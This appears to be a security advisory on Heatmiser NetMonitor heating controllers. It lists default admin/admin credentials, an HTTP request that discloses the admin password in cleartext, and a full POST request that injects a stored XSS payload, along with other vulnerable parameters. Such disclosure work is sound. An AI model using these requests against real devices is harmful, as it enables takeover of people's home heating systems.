“The Heatmiser Netmonitor is a self contained unit allowing you to control your heating system over the internet from any web browser. Simply plug the Netmonitor in to your router and take complete control.” (Shodan search)
Affecteed: NetMonitor 1.04, 1.1, 3.02, 3.03, 3.7, 3.8 for default creds 3.8 tested for rest
#1 Default Admin Credentials
According to the manual the default is admin / admin.

#2 Cleartext Admin Password Disclosure
GET /networkSetup.htm HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15
Host: 192.168.1.49
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.49/left.htm
Cookie: hmcookie=0
Proxy-Connection: Keep-Alive

#3 Multiple Stored XSS (CVE-2013-78006)
Using the standard “>alert(‘DF’) XSS string the following pages are vulnerable. They require admin authentication or can exploited via cross-site request forgery (CSRF):
POST /statSetup.htm HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15
Host: 192.168.1.49
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.49/statSetup.htm
Cookie: hmcookie=0
Proxy-Connection: Keep-Alive
Content-Length: 424
Content-Type: application/x-www-form-urlencoded
rdbkck=0&statname=Towel+Rails%23Utility+Room%23Kitchen%23Dining+Room%23Lounge%23Bed2+%26+En-suite%23Bed3%23″>alert(‘DF’)%23Upstairs+Rads%23Room+10%23Room+11%23Room+12%23Room+13%23Room+14%23Room+15%23Room+16%23Room+17%23Room+18%23Room+19%23Room+20%23Room+21%23Room+22%23Room+23%23Room+24%23Room+25%23Room+26%23Room+27%23Room+28%23Room+29%23Room+30%23Room+31%23Room+32&statmap=11111111100000000000000000000000

These pages are also affected:
/sensorSetup.htm – POST Method – snstitle, snstemp and snsalmen parameters (likely 8 more but didn’t test)
/inputSetup.htm – POST Method – inputtitle parameter
/outputSetup.htm – POST Method – outputtitle parameter
There rest of the setup pages are probably vulnerable since it didn’t seem like anything was being sanitized but I didn’t have time to check.